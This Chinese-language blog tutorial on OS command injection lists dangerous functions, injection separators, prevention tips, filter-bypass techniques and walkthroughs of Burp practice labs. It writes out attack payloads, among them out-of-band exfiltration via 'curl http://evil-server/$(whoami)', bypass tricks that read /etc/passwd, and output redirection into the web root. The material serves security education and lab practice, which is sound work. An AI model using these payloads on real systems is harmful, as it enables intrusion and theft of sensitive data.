1. 漏洞简介
1.1 什么是命令执行漏洞
命令注入通常因为指Web应用在服务器上拼接系统命令而造成的漏洞。
该类漏洞通常出现在调用外部程序完成一些功能的情景下。比如一些Web管理界面的配置主机名/IP/掩码/网关、查看系统信息以及关闭重启等功能,或者一些站点提供如
ping
、nslookup
、提供发送邮件、转换图片等功能都可能出现该类漏洞。漏洞分为系统命令执行(OS命令注入)和代码命令注入(命令注入)
1.2 漏洞危害
- 执行恶意代码
- 获取系统敏感信息
- 获取系统管理权限
1.3 危险函数
1.3.1 PHP
- system
- exec
- passthru
- shell_exec 或
`
- popen
- proc_open
1.3.2 Python
- system
- popen
- subprocess.call
- spawn
1.3.3 Java
- java.lang.Runtime.getRuntime().exec(command)
1.4 常见注入方式
1.4.1 系统命令执行
&
后台执行
&&
前一条成功才执行后一条
|
前一条输出作为下一条命令参数
||
前一条执行失败才执行后一条
;
先执行前面然后执行后面
/n
或0x0a \r\n %d0%a0
- •
$()
替换
1.4.2 代码命令执行
- PHP
- Python
- Java
存在Runtime类,在该类中提供了exec方法用以在单独的进程中执行特定的字符串命令
- 其他
ImageMagick组件、bash漏洞、struts.2系列、thinkphp命令执行等
1.4.3 常用初始命令
常用的 Linux 和 Windows 命令
命令的目的 | Linux | Windows |
当前用户名 | whoami | whoami |
操作系统 | uname -a | ver |
网络配置 | ifconfig | ipconfig /all |
网络连接 | netstat -an | netstat -an |
运行进程 | ps -ef | tasklist |
2. 漏洞预防
- 不使用时禁用相应函数
- 尽量不要执行外部的应用程序或命令
- 做输入的格式检查
- 转义命令中的所有shell元字符:shell元字符包括
#&;`,|*?~<>^()[]{}$\
escapeshellcmd()
函数过滤
- 使用
safe_mode_exec_dir
指定可执行文件的路径
3. 绕过方式
3.1 无回显示情况
- bash反弹shell
- DNS带外数据
- http带外
curl http://evil-server/$(whoami)
wget http://evil-server/$(whoami)
- 无带外时利用
sleep
或其他逻辑构造布尔条件 - 考虑一个允许用户提交有关该站点的反馈的网站。用户输入他们的电子邮件地址和反馈消息。然后,服务器端应用程序会生成一封包含反馈的电子邮件给站点管理员。为此,它
mail
使用提交的详细信息调用程序。例如: ping -c 10 127.0.0.1
- 通过重定向输出来利用盲目的操作系统命令注入
- 您可以将注入命令的输出重定向到 Web 根目录中的文件,然后您可以使用浏览器检索该文件。例如,如果应用程序从文件系统位置提供静态资源
/var/www/static
,那么您可以提交以下输入:whoami > /var/www/static/whoami.txt
- 该
>
字符将whoami
命令的输出发送到指定的文件。然后,您可以使用浏览器获取https://vulnerable-website.com/whoami.txt
以检索文件,并查看注入命令的输出。
3.2 有回显情况
3.2.1 逻辑运算符绕过
3.2.2 在Win下执行bat时可以用%1a绕过
3.2.3 PHP环境可以使用%0a、%0d,分别代表\n 和\r
3.2.4 各种符号绕过
- 引号绕过
cat /etc/pass'w'd
- 反斜杠绕过
ca\t /etc/pas\swd
- 通配符绕过
/?in/?s
=>/bin/ls
3.2.5 使用数字地址绕过IP限制
3.2.6 空格绕过
<
符号cat<123
\t
/%09
${IFS}
其中{}用来截断,比如cat$IFS2会被认为IFS2是变量名。另外,在后面加个$可以起到截断的作用,一般用$9,因为$9是当前系统shell进程的第九个参数的持有者,它始终为空字符串
3.2.7 黑名单绕过
a=l;b=s;$a$b
- 编码绕过base64
echo "bHM=" | base64 -d
- 未定义的初始化变量
cat$x /etc/passwd
3.2.8 长度限制绕过
上面的方法为通过命令行重定向写入命令,接着通过ls按时间排序把命令写入文件,最后执行直接在Linux终端下执行的话,创建文件需要在重定向符号之前添加命令 这里可以使用一些诸如
w
,[之类的短命令,(使用ls /usr/bin/?
查看) 如果不添加命令,需要Ctrl+D才能结束,这样就等于标准输入流的重定向 而在php中 , 使用 shell_exec
等执行系统命令的函数的时候 , 是不存在标准输入流的,所以可以直接创建文件3.3 常用符号
3.3.1 命令分隔符
%0a
/%0d
/\n
/\r
;
&
/&&
3.3.2 通配符
0到无穷个任意字符
?
一个任意字符
[ ]
一个在括号内的字符,e.g.[abcd]
[ - ]
在编码顺序内的所有字符
[^ ]
一个不在括号内的字符
4. 靶场练习
4.1 使用 Burpsuite 官方靶场练习
4.1.1 Lab: OS command injection, simple case
题目:OS命令注入,简单案例
思路:查看哪里可能存在注入点,然后按题目要求进行注入修改
- 使用 Burp 拦截请求,然后修改
productId=2&storeId=1;whoami
放行,完成。
4.1.2 Lab: Blind OS command injection with time delays
题目:具有时间延迟的盲操作系统命令注入
思路:在具有反馈页面中利用mail协议,插入
ping -c 10 127.0.0.1
实现延时- 使用 Burp 拦截请求,然后修改email后参数再放行,完成。

4.1.3 Lab: Blind OS command injection with output redirection
题目:带有输出重定向的盲操作系统命令注入
思路:通过email协议写入命令并保存结果为文件,然后再通过访问文件进行读取
- 使用 Burp 拦截反馈页面请求,然后修改email后参数再放行;

在放行此请求后,会在该路径下生成了
whoami.txt
文件包含whoami
命令结果;- 在请求图片的请求中(Burp 中 Porxy 默认关闭了筛选
image
选项),修改filename
为结果文件,即可得到结果。

4.1.4 Lab: Blind OS command injection with out-of-band interaction
题目:带外交互的盲操作系统命令注入
思路:通过email协议进行命令执行nslookup指令访问 Burp 指定的带外;
- 在email后添加
||nslookup+带外||
完成靶场。

4.1.5 Lab: Blind OS command injection with out-of-band data exfiltration
题目:带外数据泄露的盲操作系统命令注入
思路:通过email协议进行带外
- 拦截请求后在email后添加

- 然后在 Brup 官方带外中可以查看到

参考文献
本文章仅提供学习使用,有任何问题,欢迎您在底部评论区留言,一起交流~
- Author:KoGe
- URL:https://www.shipangshuo.xyz/article/os-command-injection
- Copyright:All articles in this blog, except for special statements, adopt BY-NC-SA agreement. Please indicate the source!
Relate Posts